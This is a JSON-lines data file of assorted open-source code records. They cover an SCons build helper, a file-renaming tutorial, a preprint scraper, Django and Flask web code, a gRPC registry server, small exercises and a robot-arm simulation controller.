'BUILD_TOP', 'Build_Kernel_Test')\n check_var(env, 'BUILD_KERNEL_TEST', 'Build_Kernel_Test')\n env.Depends(target, \"${BUILD_KERNEL_TEST}\")\n env.Depends(target, env.lib_deps('test_harness'))\n env.Append(SCANNERS=scanner)\n return '${BUILD_KERNEL_TEST} -o $TARGET $SOURCE'\n\n the_builder = Builder(\n generator = generator,\n src_suffix = [\".hls/pipeline.json\"],\n suffix = \"\",\n single_source=True,\n )\n\n env.Append(BUILDERS = {'Build_Kernel_Test': the_builder})\n\ndef tool_nanotube_be(env):\n \"\"\"Invoke nanotube_back_end to produce HLS output.\"\"\"\n\n def generator(source, target, env, for_signature):\n check_var(env, 'BUILD_TOP', 'Nanotube_Be')\n check_var(env, 'NANOTUBE_BE', 'Nanotube_Be')\n check_var(env, 'BE_FLAGS', 'Nanotube_Be')\n env.Depends(target, \"${NANOTUBE_BE}\")\n env.Depends(target, \"${BUILD_TOP}/front_end/libebpf_passes.so\")\n env.Depends(target, \"${BUILD_TOP}/back_end/libback_end_passes.so\")\n return ( '${NANOTUBE_BE} --overwrite $SOURCE $BE_FLAGS -o ' +\n os.path.dirname(str(target[0])) )\n\n env.SetDefault(BE_FLAGS='')\n\n the_builder = Builder(\n generator = generator,\n src_suffix = [ \".bc\", \".ll\" ],\n suffix = \".hls/pipeline.json\",\n single_source=True,\n )\n\n env.Append(BUILDERS = {'Nanotube_Be': the_builder})\n\ndef tool_nanotube_opt(env):\n \"\"\"Invoke nanotube_opt to convert bitfiles.\"\"\"\n\n def generator(source, target, env, for_signature):\n check_var(env, 'BUILD_TOP', 'NanotubeOpt')\n check_var(env, 'NANOTUBE_OPT', 'NanotubeOpt')\n check_var(env, 'OPT_FLAGS', 'NanotubeOpt')\n env.Depends(target, \"${NANOTUBE_OPT}\")\n env.Depends(target, \"${BUILD_TOP}/front_end/libebpf_passes.so\")\n env.Depends(target, \"${BUILD_TOP}/back_end/libback_end_passes.so\")\n return '${NANOTUBE_OPT} -o $TARGET $SOURCE $OPT_FLAGS'\n\n the_builder = Builder(\n generator = generator,\n src_suffix = [ \".bc\", \".ll\" ],\n suffix = \".bc\",\n single_source=True,\n )\n\n env.Append(BUILDERS = {'NanotubeOpt': the_builder})\n\ndef tool_llvm_link(env):\n \"\"\"Invoke llvm-link to merge bitfiles.\"\"\"\n\n def generator(source, target, env, for_signature):\n check_var(env, 'LLVM_LINK', 'LlvmLink')\n return '${LLVM_LINK} -o $TARGET $SOURCES $LLVM_OPTS'\n\n the_builder = Builder(\n generator = generator,\n src_suffix = [ \".bc\", \".ll\" ],\n suffix = \".bc\",\n )\n\n env.Append(BUILDERS = {'LlvmLink': the_builder})\n","repo_name":"Xilinx/nanotube","sub_path":"site_scons/site_init.py","file_name":"site_init.py","file_ext":"py","file_size_in_byte":6544,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"75"} +{"seq_id":"34820381451","text":"# References https://www.youtube.com/watch?v=ve2pmm5JqmI\n\nimport os\n\n\n# Separator for print output\ndef new_section(message):\n print(f\"\\n--- {message} ---\\n\")\n\n\nnew_section(\"Get into sample directory\")\nos.chdir('sample_directory')\nprint(\"Current directory: \", os.getcwd())\nprint(\"Directory contents: \")\nfor f in os.listdir():\n print(f)\n\nnew_section(\"Split off extension of file and return tuple\")\nfor f in os.listdir():\n # splitext splits off file extension\n print(os.path.splitext(f), end=', file_name: ')\n file_name, file_ext = os.path.splitext(f)\n print(file_name)\n\nnew_section(\"Split off name via hyphen\")\nfor f in os.listdir():\n file_name, file_ext = os.path.splitext(f)\n print(file_name.split('-'))\n\nnew_section(\"Reformat string with elements\")\nfor f in os.listdir():\n f_name, f_ext = os.path.splitext(f)\n f_title, f_course, f_num = f_name.split('-')\n f_title = f_title.strip() # Splits off whitespace on left or right\n # Leaves off '#' at beginning, and then pads with 0 to two digits\n f_num = f_num.strip()[1:].zfill(2)\n print(f\"{f_num}-{f_title}{f_ext}\")\n\nnew_section(\"Reassign file names. See sample_directory\")\nfor f in os.listdir():\n f_name, f_ext = os.path.splitext(f)\n f_title, f_course, f_num = f_name.split('-')\n f_title = f_title.strip()\n f_num = f_num.strip()[1:].zfill(2)\n new_name = f\"{f_num}-{f_title}{f_ext}\"\n os.rename(f, new_name)","repo_name":"HaleSmith/corey-schafer-youtube-tutorials","sub_path":"file_and_data_access/auto_rename_file_batch/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17723392438","text":"from setuptools import find_packages, setup\n\nfrom KEK_cli import __version__\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetup(name=\"gnukek-cli\",\n version=__version__,\n author=\"SweetBubaleXXX\",\n license=\"GNU General Public License v3.0\",\n description=\"Kinetic Encryption Key CLI\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/SweetBubaleXXX/KEK-cli\",\n project_urls={\n \"Source\": \"https://github.com/SweetBubaleXXX/KEK-cli\",\n \"Bug Tracker\": \"https://github.com/SweetBubaleXXX/KEK-cli/issues\"\n },\n classifiers=[\n \"Development Status :: 2 - Pre-Alpha\",\n \"Topic :: Security :: Cryptography\",\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n \"Programming Language :: Python :: 3\",\n \"Operating System :: OS Independent\",\n ],\n packages=find_packages(include=[\"KEK_cli*\"]),\n install_requires=[\n \"gnukek==1.0.0\",\n ],\n extras_require={\n \"dev\": [\n \"mypy\",\n \"pycodestyle\",\n \"pylint\",\n \"pytest\"\n ],\n \"build\": [\n \"build\",\n \"twine\"\n ]\n },\n python_requires=\">=3.7\",\n entry_points={\n \"console_scripts\": [\"kek=KEK_cli.entry_point:main\"]\n })\n","repo_name":"SweetBubaleXXX/KEK-cli","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2877508316","text":"import json\nimport re\nfrom datetime import datetime\n\nfrom pymongo import HASHED\nfrom scrapy.http import JsonRequest\n\nfrom ._base import BaseSpider\n\n\ndef parse_date(s):\n try:\n return datetime.strptime(s[:19], '%Y-%m-%dT%H:%M:%S')\n except ValueError:\n return datetime.strptime(s, '%Y-%m-%dT%H:%M:%S%z')\n\n\nclass OsfOrgSpider(BaseSpider):\n name = 'osf_org'\n\n # DB specs\n collections_config = {\n 'Scraper_osf_org': [\n [('doi', HASHED)],\n 'date_updated',\n ],\n }\n gridfs_config = {\n 'Scraper_osf_org_fs': [],\n }\n\n pdf_parser_version = 'preprints_org_20200727'\n pdf_laparams = {\n 'char_margin': 3.0,\n 'line_margin': 2.5\n }\n\n url = 'https://share.osf.io/api/v2/search/creativeworks/_search?preference=ex3807jvid'\n\n post_params = {\n \"query\": {\n \"bool\": {\n \"must\": {\n \"query_string\": {\"query\": \"*\"}\n },\n \"filter\": [\n {\"bool\": {\n \"should\": [\n {\"terms\": {\"types\": [\"preprint\"]}},\n {\"terms\": {\"sources\": [\"Thesis Commons\"]}}]}\n },\n {\"bool\": {\n \"should\": [\n {\"match\": {\"subjects\": \"bepress|Social and Behavioral Sciences\"}},\n {\"match\": {\"subjects\": \"bepress|Law\"}},\n {\"match\": {\"subjects\": \"bepress|Arts and Humanities\"}}\n ]}\n },\n {\"terms\": {\n \"sources\": [\n \"OSF\", \"AfricArXiv\", \"AgriXiv\", \"Arabixiv\", \"BioHackrXiv\", \"BodoArXiv\",\n \"EarthArXiv\", \"EcoEvoRxiv\", \"ECSarXiv\", \"EdArXiv\", \"engrXiv\", \"FocUS Archive\",\n \"Frenxiv\", \"INA-Rxiv\", \"IndiaRxiv\", \"LawArXiv\", \"LIS Scholarship Archive\", \"MarXiv\",\n \"MediArXiv\", \"MetaArXiv\", \"MindRxiv\", \"NutriXiv\", \"PaleorXiv\", \"PsyArXiv\",\n \"Research AZ\", \"SocArXiv\", \"SportRxiv\", \"Thesis Commons\", \"arXiv\", \"bioRxiv\",\n \"Preprints.org\", \"PeerJ\", \"Cogprints\", \"Research Papers in Economics\"\n ]}\n }\n ]\n }\n },\n \"from\": 0,\n \"aggregations\": {\n \"sources\": {\"terms\": {\"field\": \"sources\", \"size\": 500}}\n },\n \"sort\": {\"date_updated\": \"desc\"}\n }\n\n def start_requests(self):\n params = self.post_params.copy()\n yield JsonRequest(\n url=self.url,\n data=params,\n callback=self.parse_results_list,\n meta={'dont_obey_robotstxt': True, 'from': 0}\n )\n\n def parse_results_list(self, response):\n data = json.loads(response.body)\n last_time = datetime.now()\n has_new_paper = False\n\n for item in data['hits']['hits']:\n item = item['_source']\n item.update({\n 'date': parse_date(item['date']),\n 'date_created': parse_date(item['date_created']),\n 'date_modified': parse_date(item['date_modified']),\n 'date_published': parse_date(item['date_published']),\n 'date_updated': parse_date(item['date_updated']),\n })\n last_time = min(last_time, item['date_updated'])\n\n try:\n doi = None\n for x in item['identifiers']:\n m = re.match(r'^https?://(?:dx\\.)?doi.org/(.*)$', x)\n if m:\n doi = m.group(1)\n break\n if not doi:\n raise StopIteration\n except StopIteration:\n break\n\n item['doi'] = doi\n item['osf_id'] = item['id']\n del item['id']\n if self.has_duplicate(where='Scraper_osf_org', query={'doi': doi}):\n continue\n\n has_new_paper = True\n self.save_article(item, to='Scraper_osf_org', push_lowercase_to_meta=False)\n\n if has_new_paper and last_time > datetime(year=2020, month=1, day=1):\n params = self.post_params.copy()\n params['from'] = response.meta['from'] + len(data['hits']['hits'])\n yield JsonRequest(\n url=self.url,\n data=params,\n callback=self.parse_results_list,\n meta={'dont_obey_robotstxt': True, 'from': params['from']}\n )\n","repo_name":"COVID-19-Text-Mining/scrapers","sub_path":"covidscholar_scraper/spiders/osf_org.py","file_name":"osf_org.py","file_ext":"py","file_size_in_byte":4603,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"24168839569","text":"import logging\n\nfrom django.db import transaction\n\nfrom apps.videos.choices import EncodedVideoContainerChoices, VideoStatusChoices\nfrom apps.videos.models import EncodedVideo, Video\nfrom celery_app import app\nfrom utils.aws import generate_mediaconvert_encode_job_config, get_mediaconvert_client\nfrom utils.storages import EncodedVideosStorage, VideoThumbnailsStorage\n\nlogger = logging.getLogger(__name__)\n\n\n@app.task\ndef update_encoding_tasks():\n client = get_mediaconvert_client()\n\n for video_id in Video.objects.filter(status=VideoStatusChoices.ENCODING).values_list('id', flat=True):\n with transaction.atomic():\n video = Video.objects.select_for_update().get(id=video_id, status=VideoStatusChoices.ENCODING)\n\n try:\n job = client.get_job(Id=video.remote_id)['Job']\n except client.exceptions.ClientError as error:\n logger.error(error, exc_info=True)\n video.set_as_failed()\n continue\n\n if job['Status'] == 'COMPLETE':\n base_file_name = video.file_name.split('.')[0]\n encoded_videos = []\n for container in EncodedVideoContainerChoices.values:\n file_name = f'{base_file_name}.{container}'\n\n if not EncodedVideosStorage().exists(file_name):\n logger.error(f'Unable to find {file_name} in videos storage')\n transaction.set_rollback(True)\n break\n\n encoded_videos.append(EncodedVideo(\n container=container,\n source=video,\n file=file_name\n ))\n\n if transaction.get_rollback():\n continue\n\n EncodedVideo.objects.bulk_create(encoded_videos)\n\n # AWS automatically adds number of frame to the file name\n # it is not controlled by nameModifier :(\n # https://docs.aws.amazon.com/mediaconvert/latest/ug/file-group-with-frame-capture-output.html\n thumbnail_name = f'{base_file_name}.0000000.jpg'\n if not VideoThumbnailsStorage().exists(thumbnail_name):\n logger.error(f'Unable to find {thumbnail_name} in thumbnail storage')\n transaction.set_rollback(True)\n continue\n\n video.thumbnail = thumbnail_name\n video.set_as_succeeded()\n\n elif job['Status'] in ('SUBMITTED', 'PROGRESSING'):\n continue\n else:\n video.set_as_failed()\n\n\n@app.task\n@transaction.atomic\ndef create_encoding_job(video_id):\n video = Video.objects.select_for_update().get(id=video_id, status=VideoStatusChoices.CREATED)\n client = get_mediaconvert_client()\n config = generate_mediaconvert_encode_job_config(file_url=video.url)\n\n try:\n job = client.create_job(**config)['Job']\n except client.exceptions.ClientError as error:\n logger.error(error, exc_info=True)\n video.set_as_failed()\n return\n\n video.set_as_encoding(remote_id=job['Id'])\n","repo_name":"k0t3n/video_uploader","sub_path":"src/apps/videos/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34206238240","text":"import numpy as np\n\nwith open('AI/good_launch/actions.txt', 'r') as file:\n datay = file.readlines()\n\n mas = []\n\n for i in range(len(datay)):\n mas.append(int(datay[i]))\n \n datay = np.array(mas)\n\n file.close()\n\non = False\nfor index in range(0, len(datay)):\n if datay[index] == 1:\n on = True\n elif datay[index] == 2:\n on = False\n\n if datay[index] == -1 and on == True:\n datay[index] = 1\n\nwith open('AI/good_launch/actions.txt', 'w') as file:\n for index in range(0, len(datay)):\n file.write(f\"{datay[index]}\\n\")\n\n","repo_name":"Dragon267/GravitySimulator","sub_path":"init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"27404605523","text":"import numpy as np\nimport torch\nfrom tqdm import tqdm\n\nclass EvolutionaryOptimization:\n\tdef __init__(self, experiment, reward_function, segments, search_space_nm, search_space_lr, mutation_rate=0.25, population_strength=10, num_of_generations=10):\n\t\tself.experiment = experiment\n\t\tself.population_strength = population_strength\n\t\tself.reward_function = reward_function\n\t\tself.search_space_nm = search_space_nm\n\t\tself.search_space_lr = search_space_lr\n\t\tself.mutation_rate = mutation_rate\n\t\tself.segments = segments\n\t\tself.nms = [(i/(segments-1))*(search_space_nm[-1] - search_space_nm[0])+search_space_nm[0] for i in range(segments)]\n\t\tself.lrs = [(i/(segments-1))*(search_space_lr[-1] - search_space_lr[0])+search_space_lr[0] for i in range(segments)]\n\t\tself.generation_progress = []\n\t\tself.num_of_generations = num_of_generations\n\n\tdef get_random_chromosomes(self, n, return_numpy=False):\n\t\tlrs = np.random.choice(((self.search_space_lr[1]-self.search_space_lr[0])*np.arange(self.segments))/self.segments+self.search_space_lr[0], n)\n\t\tnms = np.random.choice(((self.search_space_nm[1]-self.search_space_nm[0])*np.arange(self.segments))/self.segments+self.search_space_nm[0], n)\n\t\tchromosomes = [[nms[i], lrs[i]] for i in range(n)]\n\t\tif return_numpy:\n\t\t\tchromosomes = np.array(chromosomes)\n\t\treturn chromosomes\n\n\tdef run_generation(self, chromosomes):\n\t\tperformances = []\n\t\tbar = tqdm(chromosomes, total=len(chromosomes))\n\t\tfor genes in bar:\n\t\t\teps, train_loss, val_loss, train_acc, val_acc = self.experiment(genes[0], genes[1], disable=True, return_dict=False)\n\t\t\treward = self.reward_function(eps, train_loss, val_loss)\n\t\t\tperformances.append([genes[0], genes[1], eps, train_loss, val_loss, train_acc, val_acc, reward])\n\t\t\tbar.set_description(str({'gen_num': self.generation_num, 'lr':round(genes[1], 4), 'nm':round(genes[0], 4), 'eps': round(eps, 4), 'val_loss': round(val_loss, 4), 'reward': round(reward, 4)}))\n\t\t\tbar.refresh()\n\t\tbar.close()\n\t\tself.generation_progress.append(performances)\n\t\treturn performances\n\n\tdef analyze_generation_performance(self, chromosomes):\n\t\tchromosomes = np.array(chromosomes)\n\t\tperformances = self.run_generation(chromosomes)\n\t\tperformances = np.array(performances)\n\t\tindex_sort = np.argsort(performances.T[-1])\n\t\tprime_sample = chromosomes[index_sort[-1]]\n\t\tbest_half = chromosomes[index_sort[int(0.5*len(chromosomes)):-1]]\n\t\treturn prime_sample, best_half, chromosomes, performances\n\n\tdef mutate(self, arr):\n\t\tchs = self.get_random_chromosomes(len(arr))\n\t\tfor index in range(len(arr)):\n\t\t\tif np.random.random(){}\".format(url, title)\n\n\n@app.route('/results')\ndef show_results():\n #winner= request.args.get('winner')\n song = request.args.get('song')\n return render_template('winner.html', user=None, song_url=song)\n\n\n@app.route('/finish')\ndef finish_songs():\n if not session.get('done'):\n session['done'] = True\n else:\n del session['done']\n session['liked_songs'] = dict()\n return redirect(url_for('index'))\n\n\n#STEP:2 = temp code exchange\n#@app.route(\"/dwolla/oauth_return\")\n#def dwolla_oauth_return():\n# oauth_return_url = url_for(\n# 'dwolla_oauth_return', external=True)#print back to this file/URL\n# code = request.args.get(\"code\")\n# token = Dwolla.get_oauth_token(code, redirect_uri=oauth_return_url)\n# session['token'] = token\n# return 'Your never-expiering OAuth access token is: %s' # % token\n\n\n#STEP 3: Take Token and swap it into the right place\n#@app.route(\"/dwolla/donate\")\n#def donate():\n# user = DwollaUser(session['token'])\n# transactionId = user.send_funds(0.00, 'phone #', '[PIN]')\n# print transactionId\n\nif __name__ == '__main__':\n app.debug = True\n app.run()\n","repo_name":"ajman1101/BandcampRoulette","sub_path":"roulette/site.py","file_name":"site.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"20813139889","text":"import json\n\nphone_book = {}\npath = 'phones.json'\n\n\ndef open_file():\n global phone_book\n try:\n with open (path, 'r', encoding='UTF-8') as file:\n phone_book = json.load(file)\n return True\n except:\n return False\n\n\ndef save_file():\n try:\n with open(path, 'w', encoding='UTF-8') as file:\n json.dump(phone_book, file, ensure_ascii=False)\n return True\n except:\n return False\n\n\ndef search(word: str) -> dict[int:dict[str,str]]:\n result = {}\n for index, contact in phone_book.items():\n if word.lower() in ' '.join(contact.values()).lower():\n result[index] = contact\n return result\n\n\ndef check_id():\n if phone_book:\n return max(list(map(int, phone_book))) + 1\n return 1\n\n\ndef add_contact(new: dict[str, str]):\n contact = {int(check_id()): new}\n phone_book.update(contact)\n\n\ndef replace(index: int, dict: dict[str,str]):\n phone_book[index] = dict\n \n\ndef del_contact(del_id):\n name = phone_book.pop(del_id)\n return name.get('name')\n \n","repo_name":"DmitriyElfimov/Python","sub_path":"homework009/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7950756858","text":"from collections import deque\n\nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n answer = 0\n prices = deque(prices)\n start = 100000\n while prices:\n standard = prices.popleft()\n if start >= standard:\n start = standard\n continue\n answer = max(answer, standard - start)\n if answer <= 0:\n return 0\n return answer","repo_name":"shkim5164/algorithm2022","sub_path":"재귀&브루트포스/leetcode_best-time-to-buy-and-sell-stock.py","file_name":"leetcode_best-time-to-buy-and-sell-stock.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5154666023","text":"from sys import argv\n\n# функцмя, которая читает по одному байту и записывает их со смещением вправо на величину offset\ndef shift_right(position, offset):\n end = f.seek(0, 2)\n new_end = end + offset\n while new_end >= (position + offset) and end >= position:\n f.seek(end - 1)\n b = f.read(1)\n f.seek(new_end - 1)\n f.write(b)\n new_end -= 1\n end -= 1\n\n# функцмя, которая читает по одному байту и записывает их со смещением влево на величину offset\ndef shift_left(position, offset):\n end = f.seek(0, 2)\n start = position\n new_start = position + offset\n while new_start <= (end + offset) and start <= end:\n f.seek(start)\n b = f.read(1)\n f.seek(new_start)\n f.write(b)\n new_start += 1\n start += 1\n f.seek(end + offset) # избавляемся от строк, которые остались после копирования со смещением\n f.truncate()\n\n\ndef edit_sale(number, value):\n line_error = True # переменнная-флаг, которая определяет, есть ли заданный пользователем номер строки в файле\n last_line = 0 # переменная, для хранения номера последней строки, чтобы подсказать пользователю, сколько в файле строк существует\n\n for index, line in enumerate(f):\n if index == number - 1:\n line_error = False\n replace_point = f.tell() - len(line)\n length_diff = len(value) - len(line)\n if length_diff > 0:\n shift_right(f.tell(), length_diff)\n else:\n shift_left(f.tell(), length_diff)\n f.seek(replace_point)\n f.write(value)\n break\n last_line = index + 1\n\n if line_error: print('The line', number, 'doesn\\'t exist\\nThe last line is', last_line)\n\n\nwith open('bakery.csv', 'rb+') as f:\n number = int(argv[1])\n value = (argv[2] + '\\n').encode(encoding='utf-8') # преобразуем текстовое значение в байт-код\n edit_sale(number, value)\n\n","repo_name":"Gera2019/gu_python","sub_path":"lesson_6/task_6_7_dir/edit_sale.py","file_name":"edit_sale.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11611559029","text":"from django.shortcuts import render, redirect\nfrom django.utils.html import escape\nfrom django.apps import apps\nfrom django.http import Http404\nfrom django.contrib import messages\nfrom django.core.exceptions import PermissionDenied\nfrom tuedo import config\n\ndef mail(request):\n if request.method == 'GET':\n if request.GET:\n method = request.GET.get('action')\n if method == 'confirm-subscription':\n Subscription = apps.get_model(app_label='werkstatt', model_name='Subscription')\n user_id = escape(request.GET.get('user-id'))\n hashcode = escape(request.GET.get('hash'))\n queryset = Subscription.objects.filter(pk=user_id).filter(subscribe_hash=hashcode)\n if queryset.exists():\n user = queryset.first()\n if user.active is True:\n messages.warning(request, config.MESSAGE['subscribe_newsletter_warning'])\n else:\n user.active = True\n user.save(update_fields=['active',])\n messages.success(request, config.MESSAGE['subscribe_newsletter_success'])\n else:\n raise Http404\n elif method == 'unsubscribe':\n Subscription = apps.get_model(app_label='werkstatt', model_name='Subscription')\n user_id = escape(request.GET.get('user-id'))\n hashcode = escape(request.GET.get('hash'))\n queryset = Subscription.objects.filter(pk=user_id).filter(unsubscribe_hash=hashcode)\n if queryset.exists():\n user = queryset.first()\n user.delete()\n messages.warning(request, config.MESSAGE['unsubscribe_newsletter'])\n else:\n raise Http404\n elif method == 'confirm-comment' or method == 'delete-comment':\n if request.user.is_staff is False:\n raise PermissionDenied\n Comment = apps.get_model(app_label='werkstatt', model_name='Comment')\n comment_id = escape(request.GET.get('comment-id'))\n hashcode = escape(request.GET.get('hash'))\n queryset = Comment.objects.filter(pk=comment_id).filter(confirm_hash=hashcode)\n if queryset.exists():\n comment = queryset.first()\n if comment.active is True:\n messages.warning(request, config.MESSAGE['confirm_comment_warning'])\n else:\n if method == 'delete-comment':\n comment.delete()\n messages.warning(request, config.MESSAGE['delete_comment'])\n else:\n comment.active = True\n comment.confirm_hash = 'confirmed'\n comment.save(update_fields=['active', 'confirm_hash',])\n messages.success(request, config.MESSAGE['confirm_comment_success'])\n else:\n raise Http404\n\n return redirect('index')\n \n else:\n raise Http404\n","repo_name":"tuedodev/tuedodotde","sub_path":"src/mail/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33564907347","text":"import grpc\nimport gRPC_pb2\nimport gRPC_pb2_grpc\nfrom concurrent import futures\nimport time\n\nMAXSERVERS = 5\nlist_servers = []\n\nclass Registry_Server_ServiceServicer(gRPC_pb2_grpc.Registry_Server_ServiceServicer):\n def __init__(self):\n self.address = '0.0.0.0:50052'\n self.servers = []\n # gRPC_pb2.Registry_Server.address = '0.0.0.0:50052'\n # gRPC_pb2.Registry_Server.servers = []\n\n \n\n def Register(self, request, context):\n # _result = gRPC_pb2.Registry_Response.status\n print(\"REGISTRY JOIN REQUEST FROM: \", request.server_id)\n\n if len(list_servers) 5) + lis[1] * ((n < 5) and\n (n % 2)) + lis[2] * ((n < 5) and\n (n % 2 == 0))\nprint(len(res))\n","repo_name":"LencoDigitexer/yandex_lyceum_python","sub_path":"1.7. True и False, break и continue/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"29604767432","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 4 15:49:13 2020\n\n@author: Percy\n\"\"\"\n#from JointClass import JointClass\nimport math\nfrom PIL import Image\nfrom PIL import ImageColor\nfrom io import BytesIO\nimport time\nimport b0RemoteApi\n\nwith b0RemoteApi.RemoteApiClient('b0RemoteApi_pythonClient','b0RemoteApi') as client:\n client.doNextStep=True\n client.runInSynchronousMode=True\n #Sets all jointAngles to 0\n client.jointAngle1=0\n client.jointAngle2=0 \n client.jointAngle3=0\n client.jointAngle4=0\n client.jointAngle5=0\n client.jointAngle6=0\n client.targetAngle=0\n client.maxForce=100\n jointAngleDict = {}\n \n #Prints Simulation Step start and stop time\n def simulationStepStarted(msg):\n simTime=msg[1][b'simulationTime'];\n print('Simulation step started. Simulation time: ',simTime) \n def simulationStepDone(msg):\n simTime=msg[1][b'simulationTime'];\n print('Simulation step done. Simulation time: ',simTime);\n client.doNextStep=True\n \n #Converts and Returns image\n def imageCallback(msg):\n print('Received image.',msg[1])\n ByteHexTo1DPythonList(msg)\n client.simxSetVisionSensorImage(visionSensorHandle[1],False,msg[2],client.simxCreatePublisher()) \n def ByteHexTo1DPythonList(msg):\n NumVal = list(msg[2])\n \n #Retrieves JointAngles\n def jointAngleCallback1(msg):\n client.jointAngle1=msg[1]\n jointAngleDict[str(pArmJointHandleList[0])] = client.jointAngle1\n def jointAngleCallback2(msg):\n client.jointAngle2=msg[1]\n jointAngleDict[str(pArmJointHandleList[1])] = client.jointAngle2\n def jointAngleCallback3(msg):\n client.jointAngle3=msg[1]\n jointAngleDict[str(pArmJointHandleList[2])] = client.jointAngle3\n def jointAngleCallback4(msg):\n client.jointAngle4=msg[1]\n jointAngleDict[str(pArmJointHandleList[3])] = client.jointAngle4\n def jointAngleCallback5(msg):\n client.jointAngle5=msg[1]\n jointAngleDict[str(pArmJointHandleList[4])] = client.jointAngle5\n def jointAngleCallback6(msg):\n client.jointAngle6=msg[1]\n jointAngleDict[str(pArmJointHandleList[5])] = client.jointAngle6\n \n #Moves from given angle to some other joint angle\n def moveToAngle(jointH,angle):\n client.targetAngle=angle\n client.jointAngle = jointAngleDict[str(jointH)] \n while abs(client.jointAngle-client.targetAngle)>0.1*math.pi/180:\n if client.doNextStep:\n client.doNextStep=False\n vel=computeTargetVelocity()\n client.simxSetJointTargetVelocity(jointH,vel,client.simxDefaultPublisher())\n client.simxSetJointMaxForce(jointH,client.maxForce,client.simxDefaultPublisher())\n client.simxSynchronousTrigger()\n client.simxSpinOnce()\n client.jointAngle = jointAngleDict[str(jointH)] \n client.simxSetJointTargetVelocity(jointH,0,client.simxDefaultPublisher())\n \n #Closes/Opens Grippers. Note that this is only partially working (Can send commands, but doesn't close properly)\n def moveGripperMotor(targetVelocity,maxGripperForce):\n finger1 = client.simxGetObjectHandle(\"P_Grip_straight_finger1\",client.simxServiceCall())[1]\n finger2= client.simxGetObjectHandle(\"P_Grip_straight_finger2\",client.simxServiceCall())[1]\n collisionConditionFingerFinger = client.simxReadCollision(fingerFingerCollisionHandle,client.simxServiceCall())[1]\n collisionConditionFinger1Cuboid = client.simxReadCollision(fingerCuboidCollisionHandle,client.simxServiceCall())[1]\n collisionConditionFinger2Cuboid = client.simxReadCollision(fingerCuboidCollision2Handle,client.simxServiceCall())[1]\n\n client.simxSetJointTargetVelocity(pArmJointHandleList[6],targetVelocity,client.simxServiceCall())\n client.simxSetJointMaxForce(pArmJointHandleList[6],maxGripperForce,client.simxServiceCall())\n i = 0\n while (collisionConditionFingerFinger == 0 or collisionConditionFinger2Cuboid == 0 or collisionConditionFinger1Cuboid==0) and i < 5:\n i = i+1\n client.simxSynchronousTrigger()\n client.simxSpinOnce()\n collisionConditionFingerFinger = client.simxReadCollision(fingerFingerCollisionHandle,client.simxServiceCall())[1]\n collisionConditionFinger1Cuboid = client.simxReadCollision(fingerCuboidCollisionHandle,client.simxServiceCall())[1]\n collisionConditionFinger2Cuboid = client.simxReadCollision(fingerCuboidCollision2Handle,client.simxServiceCall())[1]\n #Computes necessary velocities for moveToAngle function \n def computeTargetVelocity():\n dynStepSize=0.1\n velUpperLimit=360*math.pi/180\n PID_P=0.1\n errorValue=(client.targetAngle-client.jointAngle)\n sinAngle=math.sin(errorValue)\n cosAngle=math.cos(errorValue)\n errorValue=math.atan2(sinAngle,cosAngle)\n ctrl=errorValue*PID_P\n \n # Calculate the velocity needed to reach the position in one dynamic time step:\n velocity=ctrl/dynStepSize\n if (velocity>velUpperLimit):\n velocity=velUpperLimit\n \n if (velocity<-velUpperLimit):\n velocity=-velUpperLimit\n \n return velocity\n \n #Takes a step in simulation\n def stepSimulation():\n if client.runInSynchronousMode:\n while not client.doNextStep:\n client.simxSpinOnce()\n client.doNextStep=False\n client.simxSynchronousTrigger()\n else:\n client.simxSpinOnce()\n \n #Retrieves relevant handles\n visionSensorHandle=client.simxGetObjectHandle('Vision_sensor',client.simxServiceCall())\n passiveVisionSensorHandle=client.simxGetObjectHandle('PassiveVisionSensor',client.simxServiceCall())\n parmHandle = client.simxGetObjectHandle(\"P_Arm\",client.simxServiceCall())\n \n #List of Joint Handles, with each subsequent joint handle and ending with the P_Grip_Motor and Parent P_Arm Handle\n pArmJointHandleList = 